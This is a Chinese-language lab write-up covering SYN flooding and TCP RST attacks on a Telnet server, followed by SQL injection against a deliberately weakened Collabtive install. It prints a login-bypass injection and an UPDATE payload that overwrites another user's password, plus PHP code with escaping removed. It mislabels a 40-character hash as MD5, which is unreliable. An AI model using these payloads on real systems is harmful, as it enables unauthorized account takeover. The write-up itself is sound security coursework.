实验一 TCP/IP攻防实验
SYN 泛洪攻击
SYN攻击是一种DoS(Denial of Service)攻击,在这种攻击中黑客向被攻击者的TCP端口发送很多SYN请求,但是黑客并不是想完成三次握手协议,而是使用伪造的IP地址或者只进行三次握手协议中的第一次握手。因为SYN数据包用来打开一个TCP链接,所以受害者的机器会向伪造的地址发送一个SYN/ACK数据包作为回应,并等待预期的ACK响应。每个处于等待状态,半开的链接队列都讲进入空间有限的待处理队列。由于伪造的源地址实际上并不存在,所以将那些等待队列中的记录删除并完成建立TCP连接所需的ACK响应用于不会到来,相反每个半开的连接一定会超时,这将花费一段比较长的时间。
只要攻击者使用伪造的SYN数据包继续泛洪受害者的系统,受害者的待处理队列将一直处于满员,这使得真正的SYN数据包几乎不可能到达系统并打开有效的TCP连接。
正常情况如下:
Telnet服务器的端口情况
现在对Telnet服务器端口23进行洪泛攻击:
此时查看Telnet服务器的端口23的待处理队列如下:
此时Telnet客户端无法再次连接Telnet服务器
对Telnet和SSH的TCP RST攻击
TCP RST攻击可以终止两个被攻击主机之间的TCP连接。
比如:Machine 2(IP:192.168.40.138)的Telnet客户端和Machine 3(ip:192.168.40.142)的Telnet服务器之间建立了 Telnet连接,我们向Telnet客户段发送 TCP RST,就可以终止两者之间的TCP连接。
构造一个 TCP TST包发送给Telnet服务器,这样Telnet 服务器就会断开连接:
实验二 SQL注入
实验所用的web应用程序称为Collabtive,禁用Collabtive的若干防护措施,创建了一个容易受到SQL注入攻击的Collabtive版本。
首先可按照实验文档进行环境配置:
测试:http://www.sqllabcollabtive.com
配置DNS:
1.select语句的SQL注入
查看class.user.php的375行
并将其改为
$sel1 = mysql_query ("SELECT ID, name, locale, lastlogin, gender, FROM user WHERE (name = '$user ') #' OR email = '$user') AND pass = '$pass'");
我们在$user后面加上) # 这样就会只验证用户名,后面的会被#注释
登陆成功
lab2 update语句的sql注入
有一个在这个SQL语句中的SQL注入漏洞;
sudo vim /var/www/SQL/Collabtive/include/class.user.php
我们可以找到如下的代码
function edit($id, $name, $realname, $email, $tel1, $tel2, $company,
$zip, $gender, $url, $address1, $address2, $state,
$country, $tags, $locale, $avatar = "", $rate = 0.0)
{
$name = mysql_real_escape_string($name);
$realname = mysql_real_escape_string($realname);
//modified for SQL Lab
//$company = mysql_real_escape_string($company);
$email = mysql_real_escape_string($email);
// further escaped parameters removed for brevity...
$rate = (float) $rate;
$id = (int) $id;
if ($avatar != "")
{
$upd = mysql_query("UPDATE user SET name='$name', email='$email',
tel1='$tel1', tel2='$tel2', company='$company',
zip='$zip', gender='$gender', url='$url',
adress='$address1', adress2='$address2',
state='$state', country='$country',
tags='$tags', locale='$locale',
avatar='$avatar', rate='$rate' WHERE ID = $id");
}
else
{
// same query as above minus setting avatar; removed for
// brevity
}
if ($upd)
{
$this->mylog->add($name, 'user', 2, 0);
return true;
}
else
{
return false;
}
}
我们会发现sql语句为:SELECT ID WHERE name='$user',并且company的位置是存在注入漏洞,原理同lab1。
这样我们就可以越权来修改其他用户的信息及密码;我们使用任意用户,如: bob bob 进行登录;
在编辑用户的位置:user 填 ted 用户;
Company 处填:
', `pass` = '9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684' WHERE ID = 4 # '
注:这里的 9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684 就是pass的md5值;
点击修改,然后我们退出当前用户,使用ted用户登录,这个时候ted用户的密码应该是pass;
登陆成功